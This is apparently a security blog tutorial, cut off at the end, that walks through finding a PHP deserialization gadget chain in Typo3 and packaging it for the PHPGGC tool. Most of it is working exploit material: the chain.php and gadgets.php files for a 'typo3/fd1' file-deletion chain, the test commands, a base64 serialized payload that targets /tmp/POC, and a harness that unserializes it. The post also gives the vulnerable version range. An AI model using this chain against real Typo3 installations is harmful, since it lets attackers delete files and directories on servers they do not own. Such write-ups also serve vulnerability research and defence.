Today we will see how to quickly find a gadget chain in the Typo3 core, and then implement it within PHPGGC.

First let’s get the sources and install Typo3 via composer:

Installation

Install composer:

$ php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
$ php -r "if (hash_file('sha384', 'composer-setup.php') === '906a84df04cea2aa72f40b5f787e49f22d4c2f19492ac310e8cba5b96ac8b64115ac402c8cd292b8a03482574915d1a8') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
$ php composer-setup.php
$ php -r "unlink('composer-setup.php');"

Use composer to install the latest version available of Typo3.

$ php composer.phar create-project typo3/cms-base-distribution:"^10" FindNewGadgetChain

Searching for gadgets

Once this is done let’s use grep to search for occurrences of the function __destruct():

$ grep -Rli "n __destruct("
./public/typo3/sysext/extbase/Classes/Reflection/ReflectionService.php
./public/typo3/sysext/install/Classes/Service/Session/FileSessionHandler.php
./public/typo3/sysext/core/Classes/FormProtection/AbstractFormProtection.php
./public/typo3/sysext/core/Classes/Mail/MemorySpool.php
./public/typo3/sysext/core/Classes/Locking/FileLockStrategy.php
./public/typo3/sysext/core/Classes/Locking/SimpleLockStrategy.php
./public/typo3/sysext/core/Classes/Locking/SemaphoreLockStrategy.php
./public/typo3/sysext/core/Classes/Log/Writer/FileWriter.php
./public/typo3/sysext/core/Classes/Log/Writer/SyslogWriter.php
./public/typo3/sysext/core/Classes/Service/AbstractService.php
./public/typo3/sysext/extensionmanager/Classes/Controller/UploadExtensionFileController.php
./vendor/guzzlehttp/psr7/src/FnStream.php
./vendor/guzzlehttp/psr7/src/Stream.php
./vendor/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php
./vendor/guzzlehttp/guzzle/src/Cookie/SessionCookieJar.php
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
./vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php
./vendor/symfony/cache/Traits/FilesystemCommonTrait.php
./vendor/symfony/cache/Traits/AbstractAdapterTrait.php
./vendor/symfony/cache/Adapter/TagAwareAdapter.php
./vendor/symfony/mailer/Transport/Smtp/SmtpTransport.php
./vendor/symfony/mime/Part/DataPart.php
./vendor/symfony/routing/Loader/Configurator/CollectionConfigurator.php
./vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php
./vendor/symfony/dependency-injection/Loader/Configurator/ServicesConfigurator.php
./vendor/symfony/dependency-injection/Loader/Configurator/AbstractServiceConfigurator.php
./vendor/symfony/dependency-injection/Loader/Configurator/PrototypeConfigurator.php
./vendor/symfony/dependency-injection/Loader/Configurator/ServiceConfigurator.php
./vendor/symfony/process/Pipes/UnixPipes.php
./vendor/symfony/process/Pipes/WindowsPipes.php
./vendor/symfony/process/Process.php

Once the list of files containing an occurrence of the function __destruct() is obtained, let’s choose a file. Let’s take in our case the file public/typo3/sysext/extensionmanager/Classes/Controller/UploadExtensionFileController.php:

File: public/typo3/sysext/extensionmanager/Classes/Controller/UploadExtensionFileController.php

<?php

...

namespace TYPO3\CMS\Extensionmanager\Controller;

...

/**
 * Controller for handling upload of a local extension file
 * Handles .t3x or .zip files
 * @internal This class is a specific controller implementation and is not considered part of the Public TYPO3 API.
 */
class UploadExtensionFileController extends AbstractController
{

    ...

    /**
     * @var string
     */
    protected $extensionBackupPath = '';

    ...

    /**
     * Remove backup folder before destruction
     */
    public function __destruct()
    {
        $this->removeBackupFolder();
    }

    ...

    /**
     * Removes the backup folder in typo3temp
     */
    protected function removeBackupFolder()
    {
        if (!empty($this->extensionBackupPath)) {
            GeneralUtility::rmdir($this->extensionBackupPath, true);
            $this->extensionBackupPath = '';
        }
    }
}

The name is quite explicit but let’s see what the GeneralUtility::rmdir() function does:

File: public/typo3/sysext/core/Classes/Utility/GeneralUtility.php


...

public static function rmdir($path, $removeNonEmpty = false)
{
    $OK = false;
    // Remove trailing slash
    $path = preg_replace('|/$|', '', $path) ?? '';
    $isWindows = DIRECTORY_SEPARATOR === '\\';
    if (file_exists($path)) {
        $OK = true;
        if (!is_link($path) && is_dir($path)) {
            if ($removeNonEmpty === true && ($handle = @opendir($path))) {
                $entries = [];

                while (false !== ($file = readdir($handle))) {
                    if ($file === '.' || $file === '..') {
                        continue;
                    }

                    $entries[] = $path . '/' . $file;
                }

                closedir($handle);

                foreach ($entries as $entry) {
                    if (!static::rmdir($entry, $removeNonEmpty)) {
                        $OK = false;
                    }
                }
            }
            if ($OK) {
                $OK = @rmdir($path);
            }
        } elseif (is_link($path) && is_dir($path) && $isWindows) {
            $OK = @rmdir($path);
        } else {
            // If $path is a file, simply remove it
            $OK = @unlink($path);
        }
        clearstatcache();
    } elseif (is_link($path)) {
        $OK = @unlink($path);
        if (!$OK && $isWindows) {
            // Try to delete dead folder links on Windows systems
            $OK = @rmdir($path);
        }
        clearstatcache();
    }
    return $OK;
}

...

Creation of a POC

Let’s generate a POC with PHPGCC:

Let’s get the tool in question:

$ git clone https://github.com/ambionics/phpggc.git

Create the folder Typo3/FD/1/ within folder span style=”color:red”>gadgetchains</span> at project’s root.

And add the following two files:

File: gadgetchains/Typo3/FD/1/chain.php

<?php

namespace GadgetChain\Typo3;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = 'commit 1cbe3d8c089d94d76af2b37aea481cbd8b0707f9, 5 Jul 2014 (v4.5.35) <= exploitable <= commit ab4fec2a1aea46488e3dc2b9cca0712f3fa202b0, 12 May 2020 (v10.4.1)';
    public static $vector = '__destruct';
    public static $author = 'coiffeur';
    public static $information = '
        Note that some files may not be removed (depends on permissions)
    ';

    public function generate(array $parameters)
    {
        return new \TYPO3\CMS\Extensionmanager\Controller\UploadExtensionFileController($parameters['remote_path']);
    }
}

File: gadgetchains/Typo3/FD/1/gadgets.php

<?php

namespace TYPO3\CMS\Extensionmanager\Controller;

class UploadExtensionFileController
{
    public $extensionBackupPath;

    public function __construct($extensionBackupPath) {
        $this->extensionBackupPath = $extensionBackupPath;
    }

}

We place ourselves at the root of the FindNewGadgetChain project and run the test functionality included in PHPGCC.

$ ../phpggc/phpggc typo3/fd1 /tmp/test --test-payload
WARNING: Testing a payload ignores payload arguments.
Trying to deserialize payload...
PHP Fatal error:  Uncaught BadMethodCallException: Cannot unserialize TYPO3\CMS\Extensionmanager\Controller\UploadExtensionFileController in /Users/jpc/Downloads/FindNewGadgetChain/public/typo3/sysext/core/Classes/Security/BlockSerializationTrait.php:34
Stack trace:
#0 [internal function]: TYPO3\CMS\Extensionmanager\Controller\UploadExtensionFileController->__wakeup()
#1 /Users/jpc/Downloads/phpggc/lib/test_payload.php(46): unserialize('O:67:"TYPO3\\CMS...')
#2 {main}
  thrown in /Users/jpc/Downloads/FindNewGadgetChain/public/typo3/sysext/core/Classes/Security/BlockSerializationTrait.php on line 34
FAILURE: Payload did not trigger !

This gives us the following error “Cannot unserialize”. And this is due to the file public/typo3/sysext/core/Classes/Security/BlockSerializationTrait.php. This file was added to the Typo3 project during the commit ab4fec2a1aea46488e3dc2b9cca0712f3fa202b0 on 12 May 2020. Our gadget chain will be valid for all versions prior to this commit.

So we install a vulnerable version and try the test functionality again:

$ ../phpggc/phpggc typo3/fd1 /tmp/test --test-payload
WARNING: Testing a payload ignores payload arguments.
Trying to deserialize payload...
SUCCESS: Payload triggered !

Let’s test this more explicitly by generating a serialized string encoded in base64:

$ ./phpggc -b typo3/fd1 /tmp/POC
Tzo2NzoiVFlQTzNcQ01TXEV4dGVuc2lvbm1hbmFnZXJcQ29udHJvbGxlclxVcGxvYWRFeHRlbnNpb25GaWxlQ29udHJvbGxlciI6MTp7czoxOToiZXh0ZW5zaW9uQmFja3VwUGF0aCI7czo4OiIvdG1wL1BPQyI7fQ==

Let’s get to the root of the project FindNewGadgetChain and create the file test.php which contains the following code:

File: test.php

<?php

require('vendor/autoload.php');

if(unserialize(base64_decode("Tzo2NzoiVFlQTzNcQ01TXEV4dGVuc2lvbm1hbmFnZXJcQ29udHJvbGxlclxVcGxvYWRFeHRlbnNpb25GaWxlQ29udHJvbGxlciI6MTp7czoxOToiZXh0ZW5zaW9uQmFja3VwUGF0aCI7czo4OiIvdG1wL1BPQyI7fQ=="))) {
    echo "[+] OK";
} else {
    echo "[x] KO";
}

This gives us the following result: